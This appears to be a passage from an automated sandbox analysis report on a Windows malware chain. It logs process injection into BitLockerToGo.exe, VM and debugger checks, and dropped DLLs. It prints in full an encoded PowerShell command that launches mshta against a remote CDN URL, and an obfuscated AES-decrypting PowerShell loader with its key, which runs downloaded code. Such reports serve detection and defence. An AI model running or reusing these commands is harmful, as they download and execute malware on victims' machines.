Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2459	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1012	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1440	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 579	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5793	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3974	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\VBoxSharedFolders.dll	Jump to dropped file
Source: C:\Windows\System32\mshta.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\smart1[1]	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\VBoxSharedClipboard.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\VBoxVMM.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Qt5SqlVBox.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\VBoxSupLib.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Qt5PrintSupportVBox.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1860	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6520	Thread sleep count: 1440 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6552	Thread sleep count: 579 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2484	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7284	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7456	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 11_2_03051160 GetSystemInfo,

11_2_03051160

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: VBoxVMM.dll.5.dr	Binary or memory string: X2APICPAGE::id.u32ApicIdX2APICPAGE::version.all.u32VersionX2APICPAGE::tpr.u8TprX2APICPAGE::ppr.u8PprX2APICPAGE::ldr.u32LogicalApicIdX2APICPAGE::svr.all.u32SvrX2APICPAGE::isr.u[0].u32RegX2APICPAGE::isr.u[1].u32RegX2APICPAGE::isr.u[2].u32RegX2APICPAGE::isr.u[3].u32RegX2APICPAGE::isr.u[4].u32RegX2APICPAGE::isr.u[5].u32RegX2APICPAGE::isr.u[6].u32RegX2APICPAGE::isr.u[7].u32RegX2APICPAGE::tmr.u[0].u32RegX2APICPAGE::tmr.u[1].u32RegX2APICPAGE::tmr.u[2].u32RegX2APICPAGE::tmr.u[3].u32RegX2APICPAGE::tmr.u[4].u32RegX2APICPAGE::tmr.u[5].u32RegX2APICPAGE::tmr.u[6].u32RegX2APICPAGE::tmr.u[7].u32RegX2APICPAGE::irr.u[0].u32RegX2APICPAGE::irr.u[1].u32RegX2APICPAGE::irr.u[2].u32RegX2APICPAGE::irr.u[3].u32RegX2APICPAGE::irr.u[4].u32RegX2APICPAGE::irr.u[5].u32RegX2APICPAGE::irr.u[6].u32RegX2APICPAGE::irr.u[7].u32RegX2APICPAGE::esr.all.u32ErrorsX2APICPAGE::icr_lo.all.u32IcrLoX2APICPAGE::icr_hi.u32IcrHiX2APICPAGE::lvt_timer.all.u32LvtTimerX2APICPAGE::lvt_thermal.all.u32LvtThermalX2APICPAGE::lvt_perf.all.u32LvtPerfX2APICPAGE::lvt_lint0.all.u32LvtLint0X2APICPAGE::lvt_lint1.all.u32LvtLint1X2APICPAGE::lvt_error.all.u32LvtErrorX2APICPAGE::timer_icr.u32InitialCountX2APICPAGE::timer_ccr.u32CurrentCountX2APICPAGE::timer_dcr.all.u32DivideValueAPIC: Enabling Hyper-V x2APIC compatibility mode
Source: VBoxVMM.dll.5.dr	Binary or memory string: APIC: Enabling Hyper-V x2APIC compatibility mode
Source: BitLockerToGo.exe, 0000000B.00000002.2079531848.00000000032B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareEs
Source: svchost.exe, 00000004.00000002.2964949813.00000209D2E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: mshta.exe, 00000003.00000003.2366441304.0000022F67131000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2369689923.0000022F67131000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358841397.0000022F67131000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.2964983054.00000209D2E45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.2966675711.00000209D8659000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000B.00000002.2079531848.00000000032B7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003311000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BitLockerToGo.exe, 0000000B.00000002.2079531848.00000000032B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003311000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: mshta.exe, 00000003.00000002.2369326741.0000022F670CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358601385.0000022F670CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPs
Source: 0SmartAssem.exe, 00000008.00000002.1998926914.0000022BCA468000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 11_2_0306A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

11_2_0306A718

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 11_2_03054610 VirtualProtect ?,00000004,00000100,00000000

11_2_03054610

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

11_2_0306BA2C

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 11_2_03069160 mov eax, dword ptr fs:[00000030h]

11_2_03069160

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 11_2_03054610 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,GetProcessHeap,RtlAllocateHeap,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,strlen,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,VirtualProtect,

11_2_03054610

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 11_2_0306A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_0306A718
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 11_2_0306C8D9 SetUnhandledExceptionFilter,	11_2_0306C8D9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 11_2_0306ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_0306ACFA

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 0SmartAssem.exe PID: 7716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7916, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 3050000 protect: page execute and read and write

Jump to behavior

Encrypted powershell cmdline option found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded mshta "https://bidvertiser.b-cdn.net/smart1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded mshta "https://bidvertiser.b-cdn.net/smart1"			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 3050000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 3050000			Jump to behavior
Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2E35008			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYgBpAGQAdgBlAHIAdABpAHMAZQByAC4AYgAtAGMAZABuAC4AbgBlAHQALwBzAG0AYQByAHQAMQAiAA==	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://bidvertiser.b-cdn.net/smart1	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function HbAHmnxA($ZzZovm){return -split ($ZzZovm -replace '..', '0x$& ')};$PEcdKn = HbAHmnxA('649390CFEBE1770BAA5146DE729123CCD838E758E4276A363F637B3AAF033337AC0657955271E9550F501406601E1A41860E46E19B664FF95794FF1F3D04636BD08F0C38C4B63E80890B016BD8AB0B78879EF113B89A3F38F6F895DE87AEA8D3B7F0CCEB19C1832E835097ECCB2C36890967C12BEB560476870CFCA3B2026770977E5BFC6237BA383AB0C9BC4FEE55E653DB382E41C9866A6C0222D784911F31EBB65E3730429D060FF2E1FCA15D8F85018D75055E5F3D7F26332EE40768EC9BAFDC24FC0691D6B57AB81120A83FF0208197B7794EB8E48F081D5265C2EDE5BE7C897C05ABF2349EBA71B3759948F6CC4E3D2AA8CB8B87BC3EF6DD53F55E24B1A14B06982580B23E1CDC89A89E5FC9AEBCC45162B160BDD6D1DD820E751C213F642E6174AB940A544437CBD4B95F451F49854521B6B5F25DC2958288B9E8AE3E84EC687BF5FD542FD21B03B728755D38B9F795538690A1731AD87A4FF035E0E4DF4D5D5926749BCC457636F04DB20D58FEF916462DCAC2915FF336ECE4C613138832FB8CB53EC4DDA139297818B53354F21F92E9A237CDEA5EBA27FD7E08ABAD8BC364C8AC9D4DA7EF88987044E30E52F804D80E2DCF76EB0C85804D4469E0F07C9E5CE26611DE49AD0BB0333D282354BE10F943982430B1169A615E79E3E0C5EC79DA387AD53EAF2FD764DBB293F0EF18D616EEF99C38992715145D16CA68D09F1D913D460445AD05E1641EE4AC2B1E944F7FF45B6C7C51974DECC8B09B1CCBDC8ED7174A14C70F59EA9B96E93E8A336D668FF3C2DC68D75472553892C38D8F32E86361D381E1EE6E6E1BCA21FA73FC43DDDAFCED280453E7B5D154F59EF2BE213C2656F282EABC6A8D2F17A8B47C539E9817820B02E234FD821466297478CF4C06BF88B97D45DCF3E4C807DE237AD7614DCD6332D4DE950C177646C50F08062E130279ECE8B08C9945A79ECF6C4B88024A24DC840A12E22F404F56B7C13E2F9DC8AADEB49ECC7A67AE9983475129E57AFB8D0F9326B22E9B79AAA56DB3EEC92EA9708998095778497441E15D7795F50116CF78185726E9A7F7A3E40D436D50F77BDA8DDDBFD8CEBB4C758EA3595453635FE911BA9691EB0E2A28529D8C4B9E2D50DD40CBDBC57F9D07995096EB6B48448429C1F014B7BDF9146EC21A79ADA827E6590D159548021642354333FC8154696C9E79B4CDA3E5D22551F1F2387AAA9CE4464C571969727F845599B1BD312EB356A5E140EC6F91912B1227B9F3A941727413D53C0FE2B26DE40BB2B36462055BBF7E8A6B8281CC7FFD4048A1CD97104C3A63FF87CE63106EF7443D01D5FCE1FD67A7E73EE2A8F2CD2EFED7B4A7796DB2328BD317F0349F8B606845CBF4FC0F73D45630EF3466836C0A93133F760481FB4E2F4E46DBFF6A7AA0455989567090A3EBB373F3EC52B5EE0558518BC12408677670492BEA93021308DF47CD62CF99B8E473176B2965284653204CE093A6D8CE56300896793A61754D407EB838A56372881C0664AF37F1E9500BBAC243013C5F5953ABE1CD43347B87C2D6ED6169C7B0D8242DE3ED14C3F856F471A13CEFE0993EE315D5305CC2AC9054976C9CA5A6');$jqkxh = [System.Security.Cryptography.Aes]::Create();$jqkxh.Key = HbAHmnxA('52615577706262664D6D43476F4F4344');$jqkxh.IV = New-Object byte[] 16;$SpkOqCAK = $jqkxh.CreateDecryptor();$cWklkDGxO = $SpkOqCAK.TransformFinalBlock($PEcdKn, 0, $PEcdKn.Length);$mTmnXpOAf = [System.Text.Encoding]::Utf8.GetString($cWklkDGxO);$SpkOqCAK.Dispose();& $mTmnXpOAf.Substring(0,3) $mTmnXpOAf.Substring(3)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\0SmartAssem.exe "C:\Users\user\AppData\Roaming\0SmartAssem.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function hbahmnxa($zzzovm){return -split ($zzzovm -replace '..', '0x$& ')};$pecdkn = hbahmnxa('649390cfebe1770baa5146de729123ccd838e758e4276a363f637b3aaf033337ac0657955271e9550f501406601e1a41860e46e19b664ff95794ff1f3d04636bd08f0c38c4b63e80890b016bd8ab0b78879ef113b89a3f38f6f895de87aea8d3b7f0cceb19c1832e835097eccb2c36890967c12beb560476870cfca3b2026770977e5bfc6237ba383ab0c9bc4fee55e653db382e41c9866a6c0222d784911f31ebb65e3730429d060ff2e1fca15d8f85018d75055e5f3d7f26332ee40768ec9bafdc24fc0691d6b57ab81120a83ff0208197b7794eb8e48f081d5265c2ede5be7c897c05abf2349eba71b3759948f6cc4e3d2aa8cb8b87bc3ef6dd53f55e24b1a14b06982580b23e1cdc89a89e5fc9aebcc45162b160bdd6d1dd820e751c213f642e6174ab940a544437cbd4b95f451f49854521b6b5f25dc2958288b9e8ae3e84ec687bf5fd542fd21b03b728755d38b9f795538690a1731ad87a4ff035e0e4df4d5d5926749bcc457636f04db20d58fef916462dcac2915ff336ece4c613138832fb8cb53ec4dda139297818b53354f21f92e9a237cdea5eba27fd7e08abad8bc364c8ac9d4da7ef88987044e30e52f804d80e2dcf76eb0c85804d4469e0f07c9e5ce26611de49ad0bb0333d282354be10f943982430b1169a615e79e3e0c5ec79da387ad53eaf2fd764dbb293f0ef18d616eef99c38992715145d16ca68d09f1d913d460445ad05e1641ee4ac2b1e944f7ff45b6c7c51974decc8b09b1ccbdc8ed7174a14c70f59ea9b96e93e8a336d668ff3c2dc68d75472553892c38d8f32e86361d381e1ee6e6e1bca21fa73fc43dddafced280453e7b5d154f59ef2be213c2656f282eabc6a8d2f17a8b47c539e9817820b02e234fd821466297478cf4c06bf88b97d45dcf3e4c807de237ad7614dcd6332d4de950c177646c50f08062e130279ece8b08c9945a79ecf6c4b88024a24dc840a12e22f404f56b7c13e2f9dc8aadeb49ecc7a67ae9983475129e57afb8d0f9326b22e9b79aaa56db3eec92ea9708998095778497441e15d7795f50116cf78185726e9a7f7a3e40d436d50f77bda8dddbfd8cebb4c758ea3595453635fe911ba9691eb0e2a28529d8c4b9e2d50dd40cbdbc57f9d07995096eb6b48448429c1f014b7bdf9146ec21a79ada827e6590d159548021642354333fc8154696c9e79b4cda3e5d22551f1f2387aaa9ce4464c571969727f845599b1bd312eb356a5e140ec6f91912b1227b9f3a941727413d53c0fe2b26de40bb2b36462055bbf7e8a6b8281cc7ffd4048a1cd97104c3a63ff87ce63106ef7443d01d5fce1fd67a7e73ee2a8f2cd2efed7b4a7796db2328bd317f0349f8b606845cbf4fc0f73d45630ef3466836c0a93133f760481fb4e2f4e46dbff6a7aa0455989567090a3ebb373f3ec52b5ee0558518bc12408677670492bea93021308df47cd62cf99b8e473176b2965284653204ce093a6d8ce56300896793a61754d407eb838a56372881c0664af37f1e9500bbac243013c5f5953abe1cd43347b87c2d6ed6169c7b0d8242de3ed14c3f856f471a13cefe0993ee315d5305cc2ac9054976c9ca5a6');$jqkxh = [system.security.cryptography.aes]::create();$jqkxh.key = hbahmnxa('52615577706262664d6d43476f4f4344');$jqkxh.iv = new-object byte[] 16;$spkoqcak = $jqkxh.createdecryptor();$cwklkdgxo = $spkoqcak.transformfinalblock($pecdkn, 0, $pecdkn.length);$mtmnxpoaf = [system.text.encoding]::utf8.getstring($cwklkdgxo);$spkoqcak.dispose();& $mtmnxpoaf.substring(0,3) $mtmnxpoaf.substring(3)
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function hbahmnxa($zzzovm){return -split ($zzzovm -replace '..', '0x$& ')};$pecdkn = 